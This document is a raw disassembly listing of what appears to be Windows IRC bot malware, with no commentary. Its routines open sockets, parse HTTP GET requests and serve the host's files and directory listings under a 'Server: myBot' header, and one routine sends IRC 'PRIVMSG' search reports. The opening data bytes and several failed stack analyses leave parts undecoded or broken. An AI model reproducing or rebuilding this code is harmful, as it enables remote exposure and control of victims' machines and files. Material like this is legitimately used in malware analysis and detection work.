dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h, 37E89002h dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h, 716A2B36h dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 83E85750h, 90716A54h dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 86E8F875h dd 90716A9Bh, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 4337CCh, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 43375Ch dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 43373Ch dd 2F1E957h, 34BF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43371C68h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36B0BE05h dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h, 6A0000CAh dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh dd 43366Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43364C68h dd 11EE900h, 858D0000h, 0FFFFFF50h, 43364468h, 0F5E85000h dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h dd 4335FCh, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh, 0E8500043h dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah dd 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CDCC8, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCC8 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCC8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2660000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCC8 nop call near ptr 71AB1AF4h push 1 nop call near ptr 2670000h test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCC8 nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAF74 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEBC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB010 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF5C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE60 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAF8C test eax, eax jg short loc_40F2F7 push esi call dword_4CB00C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA2C ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_43381C ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB010 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB00C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF08 push eax lea eax, [ebp+var_8F0] push offset unk_4337F4 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_254] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2720000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 27115FBh lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFC4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB00C push [ebp+var_B4] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293C4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_429998 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2670EEBh push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AA8 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB00C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 26F0953h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call near ptr 2720C5Fh nop push esi mov [ebp+var_330], eax nop call near ptr 26518CEh loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433A74 push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEB4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi nop call near ptr 2670096h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 nop call near ptr 2670000h jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB00C nop call near ptr 26709C5h push eax lea eax, [ebp+var_8C4] push offset unk_433A3C push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_429998 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD 